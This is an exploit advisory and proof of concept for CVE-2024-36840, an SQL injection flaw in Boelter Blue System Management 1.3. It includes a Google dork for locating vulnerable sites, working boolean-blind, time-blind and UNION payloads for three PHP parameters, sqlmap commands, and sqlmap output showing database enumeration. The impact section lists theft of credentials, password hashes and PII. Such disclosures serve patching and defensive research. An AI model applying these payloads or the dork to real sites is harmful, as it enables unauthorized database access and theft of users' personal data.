Exploit Title: SQL Injection Vulnerability in Boelter Blue System Management (version 1.3)
Google Dork: inurl:"Powered by Boelter Blue"
Date: 2024-06-04
Exploit Author: CBKB (DeadlyData, R4d1x)
Vendor Homepage: https://www.boelterblue.com
Software Link: https://play.google.com/store/apps/details?id=com.anchor5digital.anchor5adminapp&hl=en_US
Version: 1.3
Tested on: Linux Debian 9 (stretch), Apache 2.4.25, MySQL >= 5.0.12
CVE: CVE-2024-36840

Vulnerability Details:
Multiple SQL Injection vulnerabilities were discovered in Boelter Blue System Management (version 1.3). These vulnerabilities allow attackers to execute arbitrary SQL commands through the affected parameters. Successful exploitation can lead to unauthorized access, data leakage, and account takeovers.

PoC:
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:21:39] [INFO] fetching database names
available databases [5]:
[*] Anchor5Digital

1. news_details.php?id parameter:

Type: Boolean-based blind
Payload: id=10071 AND 4036=4036

Type: Time-based blind
Payload: id=10071 AND (SELECT 4443 FROM (SELECT(SLEEP(5)))LjOd)

Type: UNION query
Payload: id=-5819 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170766b71,0x646655514b72686177544968656d6e414e4678595a666f77447a57515750476751524f5941496b55,0x7162626a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

Example SQLMap Command: sqlmap -u "https://www.example.com/news_details.php?id=10071" --random-agent --dbms=mysql --threads=4 --dbs

2. services.php?section parameter:

Type: Boolean-based blind
Payload: section=(SELECT (CASE WHEN (1087=1087) THEN 5081 ELSE (SELECT 8711 UNION SELECT 5881) END))

Type: Time-based blind
Payload: section=5081 AND (SELECT 2101 FROM (SELECT(SLEEP(5)))nmcL)

Example SQLMap Command: sqlmap -u "https://www.example.com/services.php?section=5081" --random-agent --tamper=space2comment --threads=8 --dbs

3. location_details.php?id parameter:

Type: Boolean-based blind
Payload: id=836 AND 4036=4036

Type: Time-based blind
Payload: id=836 AND (SELECT 4443 FROM (SELECT(SLEEP(5)))LjOd)

Type: UNION query
Payload: id=-5819 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170766b71,0x646655514b72686177544968656d6e414e4678595a666f77447a57515750476751524f5941496b55,0x7162626a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

Example SQLMap Command: sqlmap -u "https://www.example.com/location_details.php?id=836" --random-agent --dbms=mysql --dbs

Impact:
Unauthorized access to the database.
Extraction of sensitive information such as admin credentials, user email/passhash, device hashes, user PII, purchase history, and database credentials.
Account takeovers and potential full control of the affected application.

Discoverer(s)/Credits:
CBKB (DeadlyData, R4d1x)

References:
https://infosec-db.github.io/CyberDepot/vuln_boelter_blue/https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36840